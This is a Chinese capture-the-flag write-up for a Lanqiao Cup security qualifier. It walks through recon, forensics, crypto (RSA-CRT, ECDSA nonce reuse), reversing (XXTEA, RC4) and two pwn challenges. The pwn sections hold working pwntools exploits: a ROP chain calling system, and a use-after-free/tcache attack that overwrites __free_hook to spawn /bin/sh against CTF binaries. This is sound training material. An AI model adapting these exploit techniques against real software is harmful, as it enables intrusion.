第十五届蓝桥杯大赛软件赛—网络安全选拔赛WP

前言:第一次参加蓝桥杯,很荣信晋级线下,感谢师傅们观看,最近打攻防更新的比较慢ovo。

🛰:ly3260344435
🐧:3260344435
BiliBili:落寞的鱼丶
公众号:鱼影安全
CSDN:落寞的魚丶
知识星球:中职-高职-CTF竞赛
欢迎师傅们交流学习捏~~~~

1.理论题

2.情报收集:

爬虫协议:

考点:爬虫协议robots.txt

爬虫协议写在robots.txt文件里,访问进去得到
在这里插入图片描述
直接进去/6235cee4569ea639f7bcbf4e88335353/目录下,打开文件得到flag

在这里插入图片描述
在这里插入图片描述

3.数据分析:

packet:

导出HTTP数据流,最后一个数据包追踪数据流发现Base64解码即可。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

FLAG:7d6f17a4-2b0a-467d-8a42-66750368c249

缺失的数据:

先解压出orign.zip里面的字典,然后用ARCHPR的字典模块把orign.zip的密码跑出来解压。

解压得到密码:pavilion 得到a.png 脚本如下:

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

import cv2 
import numpy as np
import pywt

class WaterMarkDWT:
    def __init__(self, origin: str, watermark: str, key: int, weight: list):
        self.key = key
        self.img = cv2.imread(origin)
        self.mark = cv2.imread(watermark)
        self.coef = weight
 

    def arnold(self, img):
        r, c = img.shape
        p = np.zeros((r, c), np.uint8)
 
        a, b = 1, 1
        for k in range(self.key):
            for i in range(r):
                for j in range(c):  
                    x = (i + b * j) % r
                    y = (a * i + (a * b + 1) * j) % c
                    p[x, y] = img[i, j]
        return p
 
    def deArnold(self, img):
        r, c = img.shape
        p = np.zeros((r, c), np.uint8)
 
        a, b = 1, 1
        for k in range(self.key):
            for i in range(r):
                for j in range(c): 
                    x = ((a * b + 1) * i - b * j) % r
                    y = (-a * i + j) % c
                    p[x, y] = img[i, j]
        return p
 

 
    def get(self, size: tuple = (1200, 1200), flag: int = None):
        img = cv2.resize(self.img, size)
 
        img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
        img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)
 
        c = pywt.wavedec2(img2, 'db2', level=3)
        [cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = c
 
        d = pywt.wavedec2(img1, 'db2', level=3)
        [dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = d
 
        a1, a2, a3, a4 = self.coef
 
        ca1 = (cl - dl) * a1
        ch1 = (cH3 - dH3) * a2
        cv1 = (cV3 - dV3) * a3
        cd1 = (cD3 - dD3) * a4
 
        waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2')
        waterImg = np.array(waterImg, np.uint8)
 
        waterImg = self.deArnold(waterImg)
 
        kernel = np.ones((3, 3), np.uint8)
        if flag == 0:
            waterImg = cv2.erode(waterImg, kernel)
        elif flag == 1:
            waterImg = cv2.dilate(waterImg, kernel)
 
        cv2.imwrite('1.png', waterImg)
        return waterImg


if __name__ == '__main__':
    img = 'a.png'
    waterImg='newImg.png'
    k = 20
    xs = [0.2, 0.2, 0.5, 0.4]
    W1 = WaterMarkDWT(img, waterImg, k, xs)
    output = W1.get()

在这里插入图片描述

flag{e642820a-44c0-4c7d-a259-68b15aca8840}

4.密码破解:

cc:

使用CyberAES解密模式,根据题目html文件的keyiv以及编码格式解密即可。

在这里插入图片描述

Theorem:

这里的pq是很接近的也许是CRT吧,所以用几何平均值遍历周围的值即可。

这种情况是可以直接使用yafu进行分解的

在这里插入图片描述
分解之后就是正常的RSA解密流程了

from Crypto.Util.number import *
p = 9725277820345294029015692786209306694836079927617586357442724339468673996231042839233529246844794558371350733017150605931603344334330882328076640690156923
q = 9725277820345294029015692786209306694836079927617586357442724339468673996231042839233529246844794558371350733017150605931603344334330882328076640690156717
n = 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791
d1 = 4218387668018915625720266396593862419917073471510522718205354605765842130260156168132376152403329034145938741283222306099114824746204800218811277063324566
d2 = 9600627113582853774131075212313403348273644858279673841760714353580493485117716382652419880115319186763984899736188607228846934836782353387850747253170850
c = 36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829
d = (d1*q*inverse(q, p)+d2*p*inverse(p, q)) % n
print(long_to_bytes(pow(c, d, n)))

在这里插入图片描述

flag{5f00e1b9-2933-42ad-b4e1-069f6aa98e9a}

signature:

曲线SECP256k1的参数已知,有两个msg

在这里插入图片描述

import ecdsa
import gmpy2
from hashlib import *
from Crypto.Util.number import *
order = ecdsa.SECP256k1.generator.order()
p = 115792089237316195423570985008687907852837564279074904382605163141518161494337
r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788
s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254

m1 = b"Hi."
m2 = b"hello."
h1 = bytes_to_long(sha1(m1).digest())
h2 = bytes_to_long(sha1(m2).digest())
k = gmpy2.invert((s1-s2), p)*(h1-h2) % p

inv_r = gmpy2.invert(r1, p)
d = ((k * s1) - h1)*inv_r % p
flag = "flag{" + str(d) + "}"
print(flag)
# flag{40355055231406097504270940121798355439363616832290875140843417522164091270174}

5.逆向分析:

欢乐时光:

flag被使用了算法分成若干个小块,每个块使用相同的加密解密方法,但是这个算法是对称加密,请将分析密文并还原。

在这里插入图片描述
进入 Cry 函数,稍微魔改了一点点的 XXTEA
轮数 的计算部分被修改为 415 / a2 + 114,脚本解密即可

在这里插入图片描述

#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
#include <iostream>
using namespace std;

void btea(uint32_t *v, int n, uint32_t const key[4]) {
	uint32_t y, z, sum;
	unsigned p, rounds, e;
	if (n > 1) {          /* Coding Part */
		rounds = 114 + 415 / n;
		sum = 0;
		z = v[n - 1];
		do {
			sum -= DELTA;
			e = (sum >> 2) & 3;
			for (p = 0; p < n - 1; p++) {
				y = v[p + 1];
				z = v[p] += MX;
			}
			y = v[0];
			z = v[n - 1] += MX;
		} while (--rounds);
	} else if (n < -1) {  /* Decoding Part */
		n = -n;
		rounds = 114 + 415 / n;
		sum = rounds * DELTA;
		y = v[0];
		do {
			e = (sum >> 2) & 3;
			for (p = n - 1; p > 0; p--) {
				z = v[p - 1];
				y = v[p] -= MX;
			}
			z = v[n - 1];
			y = v[0] -= MX;
			sum -= DELTA;
		} while (--rounds);
	}
}

int main() {
	uint32_t key[4] = {2036950869, 1731489644, 1763906097, 1600602673};
	uint32_t v[] = { 1208664588, 0xCE9037F2, 0x8C212018, 244490637, 0xA4035274, 611560113, 0xA9EFDB58, 0xA52CC5C8, 0xE432CB51, 0xD04E9223, 1875931283 };
	btea(v, -11, key);
	printf("%s", (char *)v);
}

flag{efccf8f0-0c97-12ec-82e0-0c9d9242e335}

rc4:

RC4是一种流加密算法,密钥长度可变,它加解密使用相同的密钥,因此也属于对称加密算法。

在这里插入图片描述

IDA Pro打开,main函数伪代码如上图所示,跟进 sub_401005 可以得到 RC4 加密函数

在这里插入图片描述
可以发现并没有被魔改是标准的RC4,因为是对称加密
加解密使用相同的密钥,直接用工具 RC4 解密即可

在这里插入图片描述
main函数中已经定义了密文数组v5和密钥字符串Str将密文数组逐个导出或者Debug后 导出值即可

在这里插入图片描述

6.漏洞挖掘分析:

fd:

小蓝同学学习了栈溢出的知识后,又了解到linux系统中文件描述符(File Descriptor)是一个非常重要的概念,它是一个非负整数,用于标识一个特定的文件或其他输入输出资源,如套接字和管道。

没开PIEcanary,IDA静态分析buf很明显的栈溢出

check函数,看了一下没有过滤$0,close(1)可以用重定向fd完成

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

from pwn import *
# p=remote('45.32.110.230',20549)
FILENAME='./pwn'
p=process(FILENAME)
elf=ELF(FILENAME)

backdoor=0x400CC5# 4197573

rdi_ret=0x0000000000400933
ret=0x00000000004005ae
system_plt=0x0000000004005D0
info=0x601090
p.sendline(b'$0\x00')

payload=b'a'*(0x20+0x8)+p64(ret)+p64(rdi_ret)+p64(info)+p64(system_plt)
p.sendline(payload)

p.sendline(b'exec 1>&2')
p.sendline(b'cat flag')
p.interactive()

进入之后输入exec1>&2或者exec1>&0#完成重定向 即可回显。

ezheap:

小蓝同学第二次尝试使用C语言编写程序时,由于缺乏良好的安全开发经验和习惯,导致了未初始化的指针漏洞(Use After Free,UAF漏洞)。在他的程序中,他没有正确释放动态分配的内存空间,并且在之后继续使用了已经释放的指针,造成了悬空指针的问题。这种错误会导致程序在运行时出现未定义的行为,可能被恶意利用来执行恶意代码,破坏数据或者系统安全性。你能找到该漏洞并利用成功吗?

create函数,free函数没漏洞,show函数正常

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现uaf漏洞,但是只能使用一次
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用uaf来完成堆重叠可以,然后先泄露堆地址再泄露libc地址
因为没有\x00截断,释放之后有堆地址残留,申请出来就能得到堆地址

在这里插入图片描述

就是这个接收有点问题,需要处理一下, 造成堆块double free之后,然后把tcahce中的全申请完,然后再申请,这个时候被改的fd指向,然后会掉入tache中还是关了本地随机化不然有问题

在这里插入图片描述
在这里插入图片描述
然后就是再次利用之前残留的堆重叠,再次打hook就行

在这里插入图片描述

from pwn import *
# p=remote('45.32.110.230',20549)
FILENAME='./pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
libc=ELF('./libc.so.6')


def create(Content=b'a\n'):
    p.recvuntil(b'4.exit',timeout=1)
    p.sendline(b'1')
    p.send(Content)
def free(id):
    p.recvuntil(b'4.exit',timeout=1)
    p.sendline(b'2')
    p.sendline(bytes(str(id),'utf-8'))
def show(id):
    p.recvuntil(b'4.exit',timeout=1)
    p.sendline(b'3')
    p.sendline(bytes(str(id),'utf-8'))
def uaf(id):
    p.recvuntil(b'4.exit',timeout=1)
    p.sendline(b'2106373')
    p.sendline(bytes(str(id),'utf-8'))

payload=b'\x00'*0x18+p64(0x61)
for i in range(14):
    create(payload)#0-13
for i in range(7,0,-1):
    free(i)
uaf(0)
create(b'A')#1
free(0)
show(1)

p.recvuntil(b'A')
heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
heapbase=(heap_add<<8)-0x300
success('heapbase '+hex(heapbase))

payload=p64(heapbase+0x2c0-0x10)+b'\n'
create(payload)#0,double

for i in range(6):  # x /20gx 0x555555558060
    create()#2-7
create()#14,0
payload=b'\x00'*0x38+p64(0x60*12+1)
create(payload)#15
free(1)
create(b'A')#1
show(1)

libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=libc_add-0x1ecf41
success('libcbase '+hex(libcbase))

free(10)
free(1)
create(p64(0)*3+p64(0x61))
free(1)
free(15)

free_hook=libcbase+libc.symbols['__free_hook']
system_add=libcbase+libc.symbols['system']
payload=b'\x00'*0x38+p64(0x61)+p64(free_hook)
create(payload)#1,over
create(b'/bin/sh\x00\n')#10
create(p64(system_add)+b'\n')
free(10)
# gdb.attach(p)
p.sendline(b'cat flag')
p.interactive()
  • 31
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 25
    评论
评论 25
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

落寞的魚丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值